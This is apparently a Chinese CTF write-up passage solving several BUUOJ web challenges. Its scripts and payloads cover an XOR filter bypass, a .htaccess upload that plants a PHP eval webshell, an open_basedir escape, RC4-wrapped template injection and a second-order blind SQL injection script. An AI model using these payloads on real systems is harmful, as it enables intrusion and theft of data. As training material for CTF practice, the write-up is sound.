{ "page" : "\u0070\u0068\u0070\u003a\u002f\u002f\u0066\u0069\u006c\u0074\u0065\u0072\u002f\u0072\u0065\u0061\u0064\u003d\u0063\u006f\u006e\u0076\u0065\u0072\u0074\u002e\u0062\u0061\u0073\u0065\u0036\u0034\u002d\u0065\u006e\u0063\u006f\u0064\u0065\u002f\u0072\u0065\u0073\u006f\u0075\u0072\u0063\u0065\u003d\u002f\u0066\u006c\u0061\u0067" }
[SUCTF 2019]EasyWeb 源码
<?php function get_the_flag ( ) { $userdir = "upload/tmp_" .md5 ($_SERVER ['REMOTE_ADDR' ]); if (!file_exists ($userdir )){ mkdir ($userdir ); } if (!empty ($_FILES ["file" ])){ $tmp_name = $_FILES ["file" ]["tmp_name" ]; $name = $_FILES ["file" ]["name" ]; $extension = substr ($name , strrpos ($name ,"." )+1 ); if (preg_match ("/ph/i" ,$extension )) die ("^_^" ); if (mb_strpos (file_get_contents ($tmp_name ), '<?' )!==False) die ("^_^" ); if (!exif_imagetype ($tmp_name )) die ("^_^" ); $path = $userdir ."/" .$name ; @move_uploaded_file ($tmp_name , $path ); print_r ($path ); } } $hhh = @$_GET ['_' ];if (!$hhh ){ highlight_file (__FILE__ ); } if (strlen ($hhh )>18 ){ die ('One inch long, one inch strong!' ); } if ( preg_match ('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i' , $hhh ) ) die ('Try something else!' ); $character_type = count_chars ($hhh , 3 );if (strlen ($character_type )>12 ) die ("Almost there!" );eval ($hhh );?>
先fuzz
一下可用字符,发现需要用异或来绕过,抄一下网上的脚本
<?php function valid ($s ) { if ( preg_match ('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i' , $s ) ) return false ; return true ; } function is_valid ($s ) { if ( preg_match ('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i' , $s ) ) return false ; if (ord ($s ) <= 127 ) return false ; return true ; } function get ($s ) { $result0 = '' ; $result1 = '' ; for ($c =0 ; $c < strlen ($s ); $c ++){ for ($i =0 ; $i <256 ; $i ++){ if (is_valid (chr ($i ))){ if (is_valid (chr ($i )^$s [$c ])){ $result0 .=urlencode (chr ($i )); $result1 .=urlencode (chr ($i )^$s [$c ]); break ; } } } } return $result0 .'^' .$result1 ; } echo get ('_GET' ); ?>
现在就可以查看phpinfo
了,发现有disable_functions
和open_basedir
/?_=${%80%80%80%80^%DF%C7%C5%D4}{%80}();&%80=phpinfo
接下来需要调用get_the_flag
函数来进行文件上传,需要绕过三个点
后缀不能有ph
文件内容不能有<?
文件的头需要是图像的头
可以通过上传.htaccess
来绕过,因为在.htaccess
在头部定义图片大小可以绕过exif_imagetype
函数
#define width 1000 #define height 1000
拿网上的脚本改一下(md5值改成自己的)
import requestsimport base64url = "http://4a42b678-0e23-4821-bfca-2cdb56259bd9.node4.buuoj.cn:81/?_=${%80%80%80%80^%DF%C7%C5%D4}{%80}();&%80=get_the_flag" htaccess = b"""#define width 1000 #define height 1000 AddType application/x-httpd-php .evo1 php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_c55e0cb61f7eb238df09ae30a206e5ee/shell.evo1" """ shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['evo1']);?>" ) files = {'file' :('.htaccess' ,htaccess,'image/jpeg' )} data = {"upload" :"Submit" } response = requests.post(url=url, data=data, files=files) print (response.text)files = {'file' :('shell.evo1' ,shell,'image/jpeg' )} response = requests.post(url=url, data=data, files=files) print (response.text)
用网上的通用函数组合绕一下open_basedir
/upload/tmp_c55e0cb61f7eb238df09ae30a206e5ee/shell.evo1?evo1=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));print_r(file_get_contents('/THis_Is_tHe_F14g'));
[CISCN2019 华东南赛区]Double Secret 乱测一下发现报错
拿到关键代码,并且可以发现是python2.7
if (secret==None ): return 'Tell me your secret.I will encrypt it so others can\'t see' rc=rc4_Modified.RC4("HereIsTreasure" ) deS=rc.do_crypt(secret) a=render_template_string(safe(deS)) if 'ciscn' in a.lower(): return 'flag detected!' return a
一个密钥为HereIsTreasure
的RC4
解密,用Cyberchef
的RC4
和url编码
烹饪下就行。但是不知道过滤了什么,先ls
下试试
'read' is not allowed. Secret is app.py rc4_Modified.py rc4_Modified.pyc requirements.txt /secret?secret=%2E%14%11%1D%C3%A2%0B%02%7Ex%C2%88%C3%95%28%C3%B9%C2%8D%C3%89%C2%AF8%C2%9CV5%C2%BBA%C3%9FMM%C2%ACq%C3%87m%C3%B30%C3%B2%24%C2%87Y%C3%9F%06%C3%A2%17%C3%9B5%C3%9F%C2%9B%C3%A3aG%C3%B4R%C3%A2%C2%82yeo%C3%BB%25%7E%C2%83%00w%C2%8C%C2%85%0D%1E%C3%A6%C2%A8%5E%C3%B3%07%2AK%27%C3%ACA%C2%93%05%C2%A7p%C2%80T%1EwxW%C2%8A%C3%97%5F%C3%B0%C3%BF%C3%A1%C2%8E%C3%B3%C2%9C
可以执行,但读不了app.py
,去看根目录
'read' is not allowed. Secret is app bin dev etc flag.txt home lib media mnt opt proc root run sbin srv sys tmp usr var /secret?secret=%2E%14%11%1D%C3%A2%0B%02%7Ex%C2%88%C3%95%28%C3%B9%C2%8D%C3%89%C2%AF8%C2%9CV5%C2%BBA%C3%9FMM%C2%ACq%C3%87m%C3%B30%C3%B2%24%C2%87Y%C3%9F%06%C3%A2%17%C3%9B5%C3%9F%C2%9B%C3%A3aG%C3%B4R%C3%A2%C2%82yeo%C3%BB%25%7E%C2%83%00w%C2%8C%C2%85%0D%1E%C3%A6%C2%A8%5E%C3%B3%07%2AK%27%C3%ACA%C2%93%05%C2%A7p%C2%80%28%16%02q%0C%C3%81%C3%84%5E%C2%B9%C2%B2%C3%AE%C2%8E%C2%A9%C3%88%C3%BB%3D
用popen
读不了,拼接一下就行,也可以直接弹shell或者读文件
/secret?secret=%2E%14%11%1D%C3%A2%0B%02%7Ex%C2%88%C3%95%28%C3%B9%C2%8D%C3%89%C2%AF8%C2%9CV5%C2%BBA%C3%9FMM%C2%ACq%C3%87m%C3%B30%C3%B2%24%C2%87Y%C3%9F%06%C3%A2%17%C3%9B5%C3%9F%C2%9B%C3%A3aG%C3%B4R%C3%AD%C3%BAy%2B%29%C2%AC%15%2B%C3%9CxA%C2%83%C3%B2%0D%1C%C2%B2%C3%9F%5E%C2%AA%0Eq%038%C2%AE%04%C2%9C%2B%C2%A77%C3%94%7C%1Euqz%C3%88%C2%9D%1C%C2%87%C3%B1%C3%AD%C2%80%C2%A6%C3%86%C2%ADgt%C3%9F%C3%80%C3%B9%C3%B0%C3%A0%3D%0D%C2%A0%C2%97%12%C3%8Feh%5D%C2%92%C3%8E%0D%7Eb%07%22%C2%92%C2%AF%C3%90eo%C3%ABhD%1A%C2%96%2B%C3%97%19%C3%85%C3%93%C2%B8%2E%C2%B9%C3%A8%12g%C2%AD%C2%94h%C3%8B%2B%06%14%05%C2%9D%C3%88%C3%AD%C3%AF%C3%BA%C3%8Fu%100%29%06%C2%92%0F%C3%8Aw%5F%C3%A4%C2%97B%3D%3F%C3%A6%C2%B0%29%C2%B6%C2%80%C3%B3LO%C3%9BN%2D1%C2%B3%C3%B2%1B%C2%82%C3%B0%C3%8Aa%C2%A9%C3%A2%C2%98n%C3%83%27%0D%C3%BE%C2%AB%C3%9B%C2%98P%3B%C2%89%C3%A5%C3%A8%23%C3%A3b%C3%88%C3%B4%2A%5D%2C%3D%C2%85%2D%C3%83%C2%AEs%C3%8B%C3%AAlYy%60F%2F%C2%99%C3%A8%C3%A7%C2%9C%C3%87%C3%A7%C3%BFSC%07%C2%81%C3%90%C3%9A%C3%98%C2%BC%3B%2C
[网鼎杯2018]Unfinish 存在注册页面(register.php),二次注入+盲注,注入点在用户名处,并且过滤了,
和information
,只能猜在flag
字段,写个脚本
import requestsimport reimport timeurl = 'http://dbdbeee9-53f2-4481-a4eb-bf80420ab983.node4.buuoj.cn:81/' flag = '' for i in range (1 ,10000 ): sess = requests.session() data = { "email" : "{}@qq.com" .format (i), "username" : "0'+ascii(substr((select * from flag) from {} for 1))+'0" .format (i), "password" : "admin" } sess.post(url=url+'register.php' ,data=data) data = { "email" : "{}@qq.com" .format (i), "password" : "admin" } sess.post(url=url+'login.php' ,data=data) response = sess.get(url=url+'index.php' ) res = re.findall(r'<span class="user-name">\s*(\d*)\s*</span>' ,response.text) flag += chr (int (res[0 ])) print (flag) if flag[-1 ] == '}' : break time.sleep(0.5 ) print (flag)
[网鼎杯 2020 半决赛]AliceWebsite 下载源码发现存在文件包含,直接读